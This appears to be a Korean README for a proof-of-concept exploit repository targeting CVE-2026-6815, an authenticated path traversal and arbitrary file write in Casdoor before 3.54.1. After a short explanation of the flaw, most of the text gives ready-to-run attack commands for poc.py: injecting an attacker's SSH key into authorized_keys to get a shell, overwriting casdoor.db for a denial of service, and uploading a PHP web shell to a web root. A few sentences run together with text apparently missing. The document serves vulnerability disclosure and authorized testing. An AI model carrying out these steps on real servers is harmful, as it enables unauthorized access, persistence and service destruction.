
# Casdoor <3.54.1 인증된 경로 탐색 및 임의 파일 쓰기 PoC 익스플로잇 SSH 키 주입, 웹 셸 업로드 또는 데이터베이스 손상을 통한 지속적 DoS를 통해 RCE를 가능하게 하는 Casdoor <3.54.1용 인증된 경로 탐색 및 임의 파일 쓰기 PoC 익스플로잇입니다.
이 저장소는 Casdoor의 임의 파일 쓰기 및 경로 탐색 취약점인 CVE-2026-6815에 대한 PoC(Proof of Concept) 익스플로잇을 포함합니다.
공격자는 Casdoor 인스턴스에 관리자 권한으로 인증되어 있어야 하며, 스토리지 공급자를 생성 및/또는 편집할 수 있는 권한을 가진 동급의 사용자여야 합니다.
.ssh/authorized_keys, crontab, 웹 루트와 같은 민감한 위치에 파일을 작성하여 실행할 수 있습니다.casdoor.db)나 핵심 바이너리를 임의의 파일로 덮어써 애플리케이션을 즉시 중지시킬 수 있습니다.Casdoor는 관리자가 스토리지 공급자를 구성할 수 있게 합니다. Local File System 공급자는 리소스 업로드 시 pathPrefix 구성과 fullFilePath 매개변수를 제대로 검증하지 못합니다.
디렉터리 트래버설 시퀀스(../)를 사용하면 인증된 관리자가 전용 스토리지 디렉터리를 벗어나 Casdoor 프로세스에 권한이 있는 모든 위치에 파일을 쓸 수 있습니다.
이 취약점은 다음 위치의 불충분한 경로 검증에서 발생합니다:
object/provider.go: 생성/업데이트 시 pathPrefix에 대한 검증이 없음.storage/local_file_system.go: GetFullPath 메서드는 확인된 경로가 의도된 샌드박스 내에 유지되는지 검증하지 않음.의존성 설치:
pip install -r requirements.txt
익스플로잇 실행:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
casdoor 사용자의 authorized_keys 파일에 공격자가 제어하는 공개 키를 작성하여 SSH 액세스를 획득합니다.
SSH 키 생성:
ssh-keygen -f casdoor_rce
생성된 공개 키로 authorized_keys를 덮어씁니다:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
개인 키를 사용하여 원격 호스트에서 SSH 셸을 획득합니다:
ssh -i ./casdoor_rce casdoor@target
애플리케이션의 로컬 데이터베이스 파일(예: casdoor.db)을 덮어써 서비스 거부를 유발합니다.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
서버가 동일한 파일 시스템에서 보조 웹 서버(예: Apache/Nginx)를 호스팅하는 경우, 문서 루트에 웹 셸을 작성합니다.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
특정 조직 및 애플리케이션(기본값인 built-in 및 app-built-in이 아닌)에 대한 관리자 자격 증명이 있는 경우 --orgname 및 --appname을 사용하여 지정합니다.
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
이 소프트웨어는 교육 및 인가된 보안 테스트 목적으로만 제공됩니다. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다.
취약점 발견 및 PoC 개발: Danilo Dell'Orco (sixpain).